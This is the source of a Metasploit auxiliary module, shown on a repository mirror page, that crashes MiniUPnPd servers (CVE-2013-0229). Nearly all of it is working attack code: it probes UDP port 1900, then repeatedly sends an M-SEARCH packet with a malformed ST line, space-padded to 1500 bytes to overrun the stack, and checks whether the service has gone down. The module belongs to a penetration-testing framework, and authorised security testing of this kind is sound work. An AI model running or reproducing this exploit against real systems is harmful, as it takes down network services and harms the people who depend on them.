Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
15
'Description' => %q{
16
This module allows remote attackers to cause a denial of service (DoS)
17
in MiniUPnP 1.0 server via a specifically crafted UDP request.
18
},
19
'Author' => [
20
'hdm', # Vulnerability discovery
21
'Dejan Lukan' # Metasploit module
22
],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2013-0229' ],
26
[ 'OSVDB', '89625' ],
27
[ 'BID', '57607' ],
28
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],
29
[ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]
30
],
31
'DisclosureDate' => '2013-03-27',
32
'Notes' => {
33
'Stability' => [CRASH_SERVICE_DOWN],
34
'SideEffects' => [],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
Opt::RPORT(1900),
43
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
44
]
45
)
46
end
47
48
def send_probe(udp_sock, probe)
49
udp_sock.put(probe)
50
data = udp_sock.recvfrom
51
if data && !data[0].empty?
52
return data[0]
53
else
54
return nil
55
end
56
end
57
58
def run
59
# the M-SEARCH probe packet that tries to identify whether the service is up or not
60
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
61
msearch_probe << "Host:239.255.255.250:1900\r\n"
62
msearch_probe << "ST:upnp:rootdevice\r\n"
63
msearch_probe << "Man:\"ssdp:discover\"\r\n"
64
msearch_probe << "MX:3\r\n"
65
msearch_probe << "\r\n"
66
67
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
68
# ST line
69
sploit = "M-SEARCH * HTTP/1.1\r\n"
70
sploit << "HOST: 239.255.255.250:1900\r\n"
71
sploit << 'ST:uuid:schemas:device:MX:3'
72
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
73
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
74
# characters: there's more chance that the program will run off the stack.
75
sploit += ' ' * (1500 - sploit.length)
76
77
# connect to the UDP port
78
connect_udp
79
80
print_status("#{rhost}:#{rport} - Checking UPnP...")
81
response = send_probe(udp_sock, msearch_probe)
82
if response.nil?
83
print_error("#{rhost}:#{rport} - UPnP end not found")
84
disconnect_udp
85
return
86
end
87
88
(1..datastore['ATTEMPTS']).each do |attempt|
89
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
90
91
# send the exploit to the target
92
print_status("#{rhost}:#{rport} - Sending malformed packet...")
93
udp_sock.put(sploit)
94
95
# send the probe to the target
96
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
97
response = send_probe(udp_sock, msearch_probe)
98
if response.nil?
99
print_good("#{rhost}:#{rport} - UPnP unresponsive")
100
disconnect_udp
101
break
102
else
103
print_status("#{rhost}:#{rport} - UPnP is responsive still")
104
end
105
end
106
107
disconnect_udp
108
end
109
end
110
111